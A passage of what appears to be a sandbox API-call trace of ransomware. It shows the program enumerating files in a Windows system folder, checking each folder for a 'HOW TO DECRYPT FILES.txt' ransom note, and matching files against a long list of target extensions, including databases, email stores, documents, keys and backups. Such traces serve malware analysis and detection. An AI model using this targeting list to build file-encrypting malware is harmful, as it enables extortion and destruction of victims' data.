ftCreationTime.dwLowDateTime=0x8f8e4aad, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f8e4aad, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f8e4aad, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogProvider.dll", cAlternateFileName="")) returned 1 [0144.719] PathFindFileNameA (pszPath="C:\\Windows\\System32\\Dism\\IntlProvider.dll") returned="IntlProvider.dll" [0144.719] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\Dism\\" | out: lpString1="C:\\Windows\\System32\\Dism\\") returned="C:\\Windows\\System32\\Dism\\" [0144.719] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\Dism\\" | out: pszPath="C:\\Windows\\System32\\Dism\\") returned="" [0144.719] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt" [0144.719] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\dism\\how to decrypt files.txt")) returned 0x20 [0144.719] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\", lpString2="LogProvider.dll" | out: lpString1="C:\\Windows\\System32\\Dism\\LogProvider.dll") returned="C:\\Windows\\System32\\Dism\\LogProvider.dll" [0144.719] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\LogProvider.dll", pszSpec="*.ems") returned 0 [0144.719] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9657f735, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9657f735, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x965f1b56, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x27000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsiProvider.dll", cAlternateFileName="")) returned 1 [0144.720] PathFindFileNameA (pszPath="C:\\Windows\\System32\\Dism\\LogProvider.dll") returned="LogProvider.dll" [0144.720] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\Dism\\" | out: lpString1="C:\\Windows\\System32\\Dism\\") returned="C:\\Windows\\System32\\Dism\\" [0144.720] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\Dism\\" | out: pszPath="C:\\Windows\\System32\\Dism\\") returned="" [0144.720] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt" [0144.720] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\dism\\how to decrypt files.txt")) returned 0x20 [0144.720] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\", lpString2="MsiProvider.dll" | out: lpString1="C:\\Windows\\System32\\Dism\\MsiProvider.dll") returned="C:\\Windows\\System32\\Dism\\MsiProvider.dll" [0144.720] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\MsiProvider.dll", pszSpec="*.ems") returned 0 [0144.720] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8313d3fe, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8313d3fe, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8316355e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x19200, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSProvider.dll", cAlternateFileName="")) returned 1 [0144.721] PathFindFileNameA (pszPath="C:\\Windows\\System32\\Dism\\MsiProvider.dll") returned="MsiProvider.dll" [0144.721] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\Dism\\" | out: lpString1="C:\\Windows\\System32\\Dism\\") returned="C:\\Windows\\System32\\Dism\\" [0144.721] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\Dism\\" | out: pszPath="C:\\Windows\\System32\\Dism\\") returned="" [0144.721] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt" [0144.721] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\dism\\how to decrypt files.txt")) returned 0x20 [0144.721] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\", lpString2="OSProvider.dll" | out: lpString1="C:\\Windows\\System32\\Dism\\OSProvider.dll") returned="C:\\Windows\\System32\\Dism\\OSProvider.dll" [0144.721] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\OSProvider.dll", pszSpec="*.ems") returned 0 [0144.721] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831af81e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x831af81e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x831d597f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmiProvider.dll", cAlternateFileName="")) returned 1 [0144.721] PathFindFileNameA (pszPath="C:\\Windows\\System32\\Dism\\OSProvider.dll") returned="OSProvider.dll" [0144.721] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\Dism\\" | out: lpString1="C:\\Windows\\System32\\Dism\\") returned="C:\\Windows\\System32\\Dism\\" [0144.722] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\Dism\\" | out: pszPath="C:\\Windows\\System32\\Dism\\") returned="" [0144.722] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt" [0144.722] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\dism\\how to decrypt files.txt")) returned 0x20 [0144.722] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\", lpString2="SmiProvider.dll" | out: lpString1="C:\\Windows\\System32\\Dism\\SmiProvider.dll") returned="C:\\Windows\\System32\\Dism\\SmiProvider.dll" [0144.722] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\SmiProvider.dll", pszSpec="*.ems") returned 0 [0144.722] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92db532f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92db532f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92db532f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x54e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TransmogProvider.dll", cAlternateFileName="")) returned 1 [0144.722] PathFindFileNameA (pszPath="C:\\Windows\\System32\\Dism\\SmiProvider.dll") returned="SmiProvider.dll" [0144.722] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\Dism\\" | out: lpString1="C:\\Windows\\System32\\Dism\\") returned="C:\\Windows\\System32\\Dism\\" [0144.722] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\Dism\\" | out: pszPath="C:\\Windows\\System32\\Dism\\") returned="" [0144.722] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt" [0144.722] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\dism\\how to decrypt files.txt")) returned 0x20 [0144.723] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\", lpString2="TransmogProvider.dll" | out: lpString1="C:\\Windows\\System32\\Dism\\TransmogProvider.dll") returned="C:\\Windows\\System32\\Dism\\TransmogProvider.dll" [0144.723] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\TransmogProvider.dll", pszSpec="*.ems") returned 0 [0144.723] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831af81e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x831af81e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x831af81e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnattendProvider.dll", cAlternateFileName="")) returned 1 [0144.723] PathFindFileNameA (pszPath="C:\\Windows\\System32\\Dism\\TransmogProvider.dll") returned="TransmogProvider.dll" [0144.723] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\Dism\\" | out: lpString1="C:\\Windows\\System32\\Dism\\") returned="C:\\Windows\\System32\\Dism\\" [0144.723] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\Dism\\" | out: pszPath="C:\\Windows\\System32\\Dism\\") returned="" [0144.723] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt" [0144.723] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\dism\\how to decrypt files.txt")) returned 0x20 [0144.723] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\", lpString2="UnattendProvider.dll" | out: lpString1="C:\\Windows\\System32\\Dism\\UnattendProvider.dll") returned="C:\\Windows\\System32\\Dism\\UnattendProvider.dll" [0144.723] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\UnattendProvider.dll", pszSpec="*.ems") returned 0 [0144.724] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831896be, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x831896be, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x831896be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x54600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WimProvider.dll", cAlternateFileName="")) returned 1 [0144.724] PathFindFileNameA (pszPath="C:\\Windows\\System32\\Dism\\UnattendProvider.dll") returned="UnattendProvider.dll" [0144.724] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\Dism\\" | out: lpString1="C:\\Windows\\System32\\Dism\\") returned="C:\\Windows\\System32\\Dism\\" [0144.724] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\Dism\\" | out: pszPath="C:\\Windows\\System32\\Dism\\") returned="" [0144.724] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt" [0144.724] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\dism\\how to decrypt files.txt")) returned 0x20 [0144.724] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\", lpString2="WimProvider.dll" | out: lpString1="C:\\Windows\\System32\\Dism\\WimProvider.dll") returned="C:\\Windows\\System32\\Dism\\WimProvider.dll" [0144.725] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.ems") returned 0 [0144.725] lstrlenA (lpString="*.ems") returned 5 [0144.725] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.db") returned 0 [0144.725] lstrlenA (lpString="*.db") returned 4 [0144.725] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.dbf") returned 0 [0144.725] lstrlenA (lpString="*.dbf") returned 5 [0144.725] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.myox") returned 0 [0144.725] lstrlenA (lpString="*.myox") returned 6 [0144.725] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.myo") returned 0 [0144.725] lstrlenA (lpString="*.myo") returned 5 [0144.725] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.qbw") returned 0 [0144.725] lstrlenA (lpString="*.qbw") returned 5 [0144.725] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.qbb") returned 0 [0144.725] lstrlenA (lpString="*.qbb") returned 5 [0144.725] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.qbm") returned 0 [0144.725] lstrlenA (lpString="*.qbm") returned 5 [0144.725] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.qbo") returned 0 [0144.725] lstrlenA (lpString="*.qbo") returned 5 [0144.725] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.qbx") returned 0 [0144.725] lstrlenA (lpString="*.qbx") returned 5 [0144.725] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.qba") returned 0 [0144.725] lstrlenA (lpString="*.qba") returned 5 [0144.725] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.qby") returned 0 [0144.725] lstrlenA (lpString="*.qby") returned 5 [0144.725] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.qbj") returned 0 [0144.725] lstrlenA (lpString="*.qbj") returned 5 [0144.725] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.ofx") returned 0 [0144.725] lstrlenA (lpString="*.ofx") returned 5 [0144.726] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.qif") returned 0 [0144.726] lstrlenA (lpString="*.qif") returned 5 [0144.726] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.mye") returned 0 [0144.726] lstrlenA (lpString="*.mye") returned 5 [0144.726] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.mbox") returned 0 [0144.726] lstrlenA (lpString="*.mbox") returned 6 [0144.726] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.eml") returned 0 [0144.726] lstrlenA (lpString="*.eml") returned 5 [0144.726] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.pst") returned 0 [0144.726] lstrlenA (lpString="*.pst") returned 5 [0144.726] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.ost") returned 0 [0144.726] lstrlenA (lpString="*.ost") returned 5 [0144.726] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.idx") returned 0 [0144.726] lstrlenA (lpString="*.idx") returned 5 [0144.726] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.dbx") returned 0 [0144.726] lstrlenA (lpString="*.dbx") returned 5 [0144.726] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.sql") returned 0 [0144.726] lstrlenA (lpString="*.sql") returned 5 [0144.726] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.mdb") returned 0 [0144.726] lstrlenA (lpString="*.mdb") returned 5 [0144.726] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.fdb") returned 0 [0144.726] lstrlenA (lpString="*.fdb") returned 5 [0144.726] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.wab") returned 0 [0144.726] lstrlenA (lpString="*.wab") returned 5 [0144.726] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.dat") returned 0 [0144.726] lstrlenA (lpString="*.dat") returned 5 [0144.726] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.txt") returned 0 [0144.726] lstrlenA (lpString="*.txt") returned 5 [0144.726] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.jpeg") returned 0 [0144.727] lstrlenA (lpString="*.jpeg") returned 6 [0144.727] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.jpg") returned 0 [0144.727] lstrlenA (lpString="*.jpg") returned 5 [0144.727] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.png") returned 0 [0144.727] lstrlenA (lpString="*.png") returned 5 [0144.727] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.php") returned 0 [0144.727] lstrlenA (lpString="*.php") returned 5 [0144.727] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.cs") returned 0 [0144.727] lstrlenA (lpString="*.cs") returned 4 [0144.727] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.cpp") returned 0 [0144.727] lstrlenA (lpString="*.cpp") returned 5 [0144.727] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.rar") returned 0 [0144.727] lstrlenA (lpString="*.rar") returned 5 [0144.727] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.zip") returned 0 [0144.727] lstrlenA (lpString="*.zip") returned 5 [0144.727] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.html") returned 0 [0144.727] lstrlenA (lpString="*.html") returned 6 [0144.727] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.htm") returned 0 [0144.727] lstrlenA (lpString="*.htm") returned 5 [0144.727] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.xlsx") returned 0 [0144.727] lstrlenA (lpString="*.xlsx") returned 6 [0144.727] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.xls") returned 0 [0144.727] lstrlenA (lpString="*.xls") returned 5 [0144.727] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.mp4") returned 0 [0144.727] lstrlenA (lpString="*.mp4") returned 5 [0144.727] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.ppt") returned 0 [0144.727] lstrlenA (lpString="*.ppt") returned 5 [0144.728] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.pptx") returned 0 [0144.728] lstrlenA (lpString="*.pptx") returned 6 [0144.728] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.doc") returned 0 [0144.728] lstrlenA (lpString="*.doc") returned 5 [0144.728] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.dot") returned 0 [0144.728] lstrlenA (lpString="*.dot") returned 5 [0144.728] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.docx") returned 0 [0144.728] lstrlenA (lpString="*.docx") returned 6 [0144.728] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.7z") returned 0 [0144.728] lstrlenA (lpString="*.7z") returned 4 [0144.728] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.tar") returned 0 [0144.728] lstrlenA (lpString="*.tar") returned 5 [0144.728] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.bz2") returned 0 [0144.728] lstrlenA (lpString="*.bz2") returned 5 [0144.728] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.gz") returned 0 [0144.728] lstrlenA (lpString="*.gz") returned 4 [0144.728] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.mkv") returned 0 [0144.728] lstrlenA (lpString="*.mkv") returned 5 [0144.728] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.eml") returned 0 [0144.728] lstrlenA (lpString="*.eml") returned 5 [0144.728] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.msg") returned 0 [0144.728] lstrlenA (lpString="*.msg") returned 5 [0144.728] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.edb") returned 0 [0144.728] lstrlenA (lpString="*.edb") returned 5 [0144.728] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.accdb") returned 0 [0144.728] lstrlenA (lpString="*.accdb") returned 7 [0144.729] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.odb") returned 0 [0144.729] lstrlenA (lpString="*.odb") returned 5 [0144.729] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.java") returned 0 [0144.729] lstrlenA (lpString="*.java") returned 6 [0144.729] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.asm") returned 0 [0144.729] lstrlenA (lpString="*.asm") returned 5 [0144.729] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.pfx") returned 0 [0144.729] lstrlenA (lpString="*.pfx") returned 5 [0144.729] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.pem") returned 0 [0144.729] lstrlenA (lpString="*.pem") returned 5 [0144.729] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.p12") returned 0 [0144.729] lstrlenA (lpString="*.p12") returned 5 [0144.729] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.gpg") returned 0 [0144.729] lstrlenA (lpString="*.gpg") returned 5 [0144.729] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.vsd") returned 0 [0144.729] lstrlenA (lpString="*.vsd") returned 5 [0144.729] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.odg") returned 0 [0144.729] lstrlenA (lpString="*.odg") returned 5 [0144.729] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.raw") returned 0 [0144.729] lstrlenA (lpString="*.raw") returned 5 [0144.729] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.nef") returned 0 [0144.729] lstrlenA (lpString="*.nef") returned 5 [0144.729] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.svg") returned 0 [0144.729] lstrlenA (lpString="*.svg") returned 5 [0144.729] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.psd") returned 0 [0144.729] lstrlenA (lpString="*.psd") returned 5 [0144.730] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.vmx") returned 0 [0144.730] lstrlenA (lpString="*.vmx") returned 5 [0144.730] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.vmdk") returned 0 [0144.730] lstrlenA (lpString="*.vmdk") returned 6 [0144.730] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.vdi") returned 0 [0144.730] lstrlenA (lpString="*.vdi") returned 5 [0144.730] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.lay6") returned 0 [0144.730] lstrlenA (lpString="*.lay6") returned 6 [0144.730] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.mpeg") returned 0 [0144.730] lstrlenA (lpString="*.mpeg") returned 6 [0144.730] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.djvu") returned 0 [0144.730] lstrlenA (lpString="*.djvu") returned 6 [0144.730] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.tiff") returned 0 [0144.730] lstrlenA (lpString="*.tiff") returned 6 [0144.730] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.backup") returned 0 [0144.730] lstrlenA (lpString="*.backup") returned 8 [0144.730] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.pdf") returned 0 [0144.730] lstrlenA (lpString="*.pdf") returned 5 [0144.730] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.cert") returned 0 [0144.730] lstrlenA (lpString="*.cert") returned 6 [0144.730] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.docm") returned 0 [0144.730] lstrlenA (lpString="*.docm") returned 6 [0144.730] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.xlsm") returned 0 [0144.730] lstrlenA (lpString="*.xlsm") returned 6 [0144.730] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.dwg") returned 0 [0144.731] lstrlenA (lpString="*.dwg") returned 5 [0144.731] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.nd") returned 0 [0144.731] lstrlenA (lpString="*.nd") returned 4 [0144.731] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.tlg") returned 0 [0144.731] lstrlenA (lpString="*.tlg") returned 5 [0144.731] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.lgb") returned 0 [0144.731] lstrlenA (lpString="*.lgb") returned 5 [0144.731] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.mov") returned 0 [0144.731] lstrlenA (lpString="*.mov") returned 5 [0144.731] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.xdw") returned 0 [0144.731] lstrlenA (lpString="*.xdw") returned 5 [0144.731] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.ods") returned 0 [0144.731] lstrlenA (lpString="*.ods") returned 5 [0144.731] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.wav") returned 0 [0144.731] lstrlenA (lpString="*.wav") returned 5 [0144.731] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.mp3") returned 0 [0144.731] lstrlenA (lpString="*.mp3") returned 5 [0144.731] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.aiff") returned 0 [0144.731] lstrlenA (lpString="*.aiff") returned 6 [0144.731] PathMatchSpecA 